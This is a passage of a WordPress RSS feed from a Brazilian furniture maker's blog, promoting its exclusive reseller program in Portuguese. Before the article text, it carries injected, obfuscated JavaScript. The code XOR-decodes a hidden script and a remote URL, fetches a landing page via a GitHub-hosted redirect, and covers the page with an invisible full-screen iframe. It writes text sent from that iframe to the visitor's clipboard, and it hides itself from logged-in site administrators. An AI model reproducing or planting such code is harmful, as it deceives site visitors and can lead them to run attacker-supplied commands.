40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
<p>O post <a href="https://marel.com.br/pontos-positivos-de-mudar-de-profissao-para-empreender-na-area-de-moveis-planejados-b/">Pontos Positivos De Mudar De Profissão Para Empreender Na Área de Móveis Planejados</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Venda De Móveis — Veja Os Benefícios De Ter Uma Revenda Exclusiva Da Marel Design Mobili</title>
		<link>https://marel.com.br/venda-de-moveis-por-que-ter-uma-revenda-exclusiva-da-marel-b/</link>
		
		<dc:creator><![CDATA[BLOG USER]]></dc:creator>
		<pubDate>Wed, 23 Mar 2022 13:48:52 +0000</pubDate>
				<category><![CDATA[Sem categoria]]></category>
		<guid isPermaLink="false">https://marel.com.br/?p=7501</guid>

					<description><![CDATA[<p>Confira no artigo as vantagens de ser um revendedor exclusivo da Marel Design Mobili! </p>
<p>O post <a href="https://marel.com.br/venda-de-moveis-por-que-ter-uma-revenda-exclusiva-da-marel-b/">Venda De Móveis — Veja Os Benefícios De Ter Uma Revenda Exclusiva Da Marel Design Mobili</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">A venda de móveis planejados não é tarefa fácil. Para ter lucro na área, é preciso ter um bom showroom, garantir uma boa experiência do cliente e, principalmente, contar com um fornecedor que ofereça agilidade nas entregas e qualidade dos produtos.&nbsp;</p>



<p class="wp-block-paragraph">A Marel Design Mobili é uma fábrica de móveis planejados de alto padrão que já está há mais de meio século no mercado ─ desde 1967. Com tanto tempo de história, refinamos e otimizamos ao máximo a nossa operação. Continue lendo o artigo para descobrir os benefícios de ser um revendedor exclusivo!</p>



<h2 class="wp-block-heading"><strong>Por que ter uma revenda exclusiva da Marel Design Mobili para a venda de móveis?</strong></h2>



<p class="wp-block-paragraph">Você, que trabalha com venda de móveis planejados, deve saber que uma das maiores dores nesse ramo é encontrar um bom fornecedor.&nbsp;</p>



<p class="wp-block-paragraph">Isso implica em contar com uma empresa que cumpra prazos, tenha um processo logístico bem estruturado, esteja por dentro das tendências do segmento de design de interiores e garanta a qualidade dos produtos.</p>



<p class="wp-block-paragraph">A Marel Design Mobili cumpre todos esses requisitos e muito mais. Confira o tour pela loja de um dos nossos revendedores em João Pessoa:</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<div class="nv-iframe-embed"><iframe title="Marel Experience" width="1200" height="675" src="https://www.youtube.com/embed/9ZT-aHRau5I?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
</div></figure>



<h3 class="wp-block-heading"><strong>Proximidade no atendimento</strong></h3>



<p class="wp-block-paragraph">Acreditamos que a proximidade com os nossos lojistas é um pilar fundamental para o sucesso da marca Marel Design Mobili. Por isso, os revendedores entram em contato direto com o nosso gerente comercial nacional, que tem um bom nível de tomada de decisão, a fim de tornar todo o processo de comunicação mais fluido.</p>



<h3 class="wp-block-heading"><strong>Suporte operacional incomparável</strong></h3>



<p class="wp-block-paragraph">Abrir e gerir uma loja de móveis planejados de alto padrão é bastante rentável, mas conta com uma série de desafios. Nós entendemos isso, portanto, não te deixamos desamparado nesse mercado. Muito mais do que fornecedores, somos parceiros dos nossos lojistas!&nbsp;</p>



<p class="wp-block-paragraph">Nós damos assessorias durante a montagem do showroom e garantimos todo o suporte para você ter a melhor performance de vendas e experiência para os seus clientes. Fornecemos softwares, estruturas de marketing e diversos materiais de apoio.</p>



<h3 class="wp-block-heading"><strong>Tecnologia alemã e design italiano</strong></h3>



<p class="wp-block-paragraph">Todos os nossos produtos são produzidos com tecnologia de ponta, vinda direto da Alemanha, o que garante a qualidade de cada uma das peças. Também prezamos pela elegância e sofisticação, por isso, todos os móveis possuem design italiano.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="640" height="427" src="https://marel.com.br/wp-content/uploads/venda-de-moveis-marel.jpg" alt="Venda de móveis planejados: por que ser um revendedor Marel Design Mobili?" class="wp-image-7502" srcset="https://marel.com.br/wp-content/uploads/venda-de-moveis-marel.jpg 640w, https://marel.com.br/wp-content/uploads/venda-de-moveis-marel-300x200.jpg 300w, https://marel.com.br/wp-content/uploads/venda-de-moveis-marel-500x334.jpg 500w" sizes="(max-width: 640px) 100vw, 640px" /></figure>



<h3 class="wp-block-heading"><strong>Logística própria</strong></h3>



